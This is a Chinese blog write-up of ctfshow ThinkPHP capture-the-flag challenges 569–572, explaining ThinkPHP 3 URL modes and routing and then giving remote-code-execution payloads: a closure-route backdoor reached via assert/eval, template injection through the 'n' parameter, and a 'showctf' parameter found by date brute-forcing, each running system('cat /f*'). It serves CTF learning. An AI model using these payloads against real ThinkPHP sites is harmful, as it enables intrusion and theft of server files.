ctfshow ThinkPHP专题 1

web569

做这题之前,先补充下thinkphp3的URL模式,ThinkPHP支持的 URL模式有四种:普通模式、PATHINFO、REWRITE和兼容模式。

入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作:

http://serverName/index.php/模块/控制器/操作

--普通模式:

普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如:

http://localhost/?m=home&c=user&a=login&var=value

m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参 数。

--PATHINFO模式:

PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够 支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是:

http://localhost/index.php/home/user/login/var/value/

PATHINFO地址的前三个参数分别表示模块/控制器/操作。

--REWRITE模式:

REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。

http://localhost/home/user/login/var/value

--兼容模式:

兼容模式是用于不支持PATHINFO的特殊环境,URL地址是:

http://localhost/?s=/home/user/login/var/value

其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义

回到题目569,要求使用pathinfo模式进行访问,那么payload就简单了。(默认大小写不敏感)

payload:

http://671a5ba9-1876-433b-85fd-ed8f400f61fa.challenge.ctf.show/index.php/Admin/Login/ctfshowLogin

web570 

 

 补充下路由的知识

利用路由功能,可以让你的URL地址更加简洁和优雅。ThinkPHP支持对模块的URL地址进行路由操作(路由功能 是针对PATHINFO模式或者兼容URL而设计的,暂时不支持普通URL模式)。

ThinkPHP的路由功能包括:

  • 正则路由
  • 规则路由
  • 静态路由(URL映射)
  • 闭包支持

闭包定义

我们可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法了,例如:

'URL_ROUTE_RULES'=>array(
    'test' =>function(){
       echo 'just test';
       },

    'hello/:name' =>function($name){
       echo 'Hello,'.$name;
       }
)

当我们访问的url地址是:http://url/index.php/test,则浏览器输出的结果是: just test

当我们访问的url地址是:http://url/index.php/jack,则浏览器输出的结果是: Hello jack

 在Application/Commom/Conf/config.php中,发现闭包路由后门

 当我们访问url/index.php/ctfshow/aaa/bbb时,会执行call_user_func(aaa,bbb)函数

PHP函数详解:call_user_func()使用方法 - djiz - 博客园

 call_user_func(aaa,bbb) 就是执行aaa()函数,bbb当做其参数 

在用get传参是会出现;/传不进去的情况,这时可以这样传参:

#get
url/index.php/ctfshow/assert/eval($_POST[1])
#post
1=system('cat /fla*');

web571

ThinkPHP 3.2.3 漏洞复现 - 安全客,安全资讯平台

 Home\Controller\IndexController 下的index中传入了一个可控参数

 一路跟进到 fetch(),然后一路进入 Hook::listen('view_parse', $params);

    public function fetch($templateFile='',$content='',$prefix='') {
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
        }
        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }

yu22x: 

可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。

所以我们直接传php代码就可以了。
payload:

?n=<?php system('cat /f*');?>

web572

此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作

 

 爆破日期出来,看到从?showctf 可以rce

/index.php?showctf=<?php system("cat /f*");?>

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值